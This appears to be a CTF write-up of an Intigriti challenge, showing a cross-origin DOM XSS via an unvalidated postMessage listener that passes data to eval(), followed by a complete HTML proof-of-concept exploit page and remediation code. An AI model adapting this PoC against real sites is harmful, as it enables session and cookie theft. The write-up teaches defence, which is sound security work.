Intigriti December 2025 Challenge: Unsafe postMessage + eval() XSS

610 words

3 minutes

Intigriti December 2025 Challenge: Unsafe postMessage + eval() XSS

2026-02-01

CTF

Intigriti

/

XSS

/

postMessage

/

CTF

/

DOM XSS

Challenge: Intigriti December 2025 (Challenge 1225)
Code: INTIGRITI-3MQQN6MY
Asset: https://challenge-1225.intigriti.io
Vulnerability: Reflected / DOM-based XSS via postMessage
Severity: Medium (Informative)
Status: Archived / Informative

Summary#

The challenge page contained an unsafe postMessage event listener that executed attacker-controlled JavaScript using eval() after a simple string prefix check.

Key issues:

No event.origin validation (messages accepted from any origin)
Use of eval() on unsanitized input
A predictable 48-character prefix was the only gate before code execution

This allowed arbitrary JavaScript execution in the context of challenge-1225.intigriti.io with a single click (popup + postMessage).

In Simple Terms#

The page listened for messages from any website.
If the message started with a specific 48-character code, the rest of the message was passed directly to eval().
An attacker could open the challenge page from their own site and send a message that starts with the magic code + malicious JavaScript.
The JavaScript runs in the challenge domain — classic cross-origin DOM XSS via postMessage.

Vulnerability Details#

Vulnerable Code#

1
// main/views/challenge.ejs (approx. lines 114-118)
2
const messageListener = (event) => {
3
    if (typeof event.data === 'string' &&
4
        event.data.substring(0, 48) === code) {
5
        eval(event.data.substring(48));   // ← Dangerous
6
    }
7
};
8
window.addEventListener('message', messageListener);

Problems:

event.origin is never checked.
eval() is used on data that can come from any origin.
The only protection is a client-side prefix that is easily discoverable in the page source.

Root Cause#

The developer likely intended this as an internal communication channel (perhaps for a parent frame or same-origin widget) but:

Forgot to validate the message origin.
Used eval() instead of a safe message handler (e.g., JSON.parse + action dispatch).

Proof of Concept#

Step-by-Step#

Open the challenge:

1
https://challenge-1225.intigriti.io/challenge#PerfectlyBalanced

View source and extract the 48-character code value:

1
const code = encodeURIComponent('a1b2c3d4e5f6...'); // 48 chars

Create an exploit page on an attacker-controlled domain and send:

1
targetWindow.postMessage(code + "alert(document.domain)", '*');

Full Exploit (Self-Contained PoC)#

1
<!DOCTYPE html>
2
<html lang="en">
3
<head>
4
    <meta charset="UTF-8">
5
    <title>Intigriti postMessage XSS PoC</title>
6
</head>
7
<body>
8
    <h2>Intigriti December 2025 - postMessage XSS</h2>
9

10
    <label>48-Character Code (from page source):</label><br>
11
    <input id="code" style="width:100%" maxlength="48"><br><br>
12

13
    <label>Payload:</label><br>
14
    <textarea id="payload" style="width:100%" rows="2">alert('XSS on ' + document.domain)</textarea><br><br>
15

16
    <button onclick="exploit()">Send postMessage</button>
17
    <div id="log"></div>
18

19
    <script>
20
        function log(msg) {
21
            document.getElementById('log').innerHTML += msg + '<br>';
22
        }
23

24
        function exploit() {
25
            const code = document.getElementById('code').value.trim();
26
            const payload = document.getElementById('payload').value;
27

28
            if (code.length !== 48) {
29
                alert('Code must be exactly 48 characters');
30
                return;
31
            }
32

33
            log('Opening challenge window...');
34
            const win = window.open(
35
                'https://challenge-1225.intigriti.io/challenge#PerfectlyBalanced',
36
                'challenge'
37
            );
38

39
            if (!win) {
40
                alert('Popup blocked. Allow popups and retry.');
41
                return;
42
            }
43

44
            setTimeout(() => {
45
                const full = code + payload;
46
                win.postMessage(full, '*');
47
                log('postMessage sent to challenge window.');
48
            }, 2500);
49
        }
50
    </script>
51
</body>
52
</html>

Result: alert() (or any JavaScript) executes in the context of the challenge domain.

Impact#

Arbitrary JavaScript execution on challenge-1225.intigriti.io
Potential to steal cookies, tokens, or perform actions in the victim’s session
Classic postMessage + eval anti-pattern

Even though the challenge was marked “Informative”, this is a real and dangerous pattern that appears in production applications when developers use postMessage for cross-frame communication without proper safeguards.

Remediation#

1. Always validate the origin#

1
const messageListener = (event) => {
2
    if (event.origin !== 'https://challenge-1225.intigriti.io') {
3
        return; // Reject messages from untrusted origins
4
    }
5
    // ... safe handling
6
};

2. Never use `eval()` on message data#

Instead of eval(), use a safe dispatcher:

1
const messageListener = (event) => {
2
    if (event.origin !== 'https://trusted-origin.com') return;
3

4
    let data;
5
    try {
6
        data = JSON.parse(event.data);
7
    } catch (e) {
8
        return;
9
    }
10

11
    if (data.action === 'updateTheme') {
12
        applyTheme(data.theme);
13
    }
14
};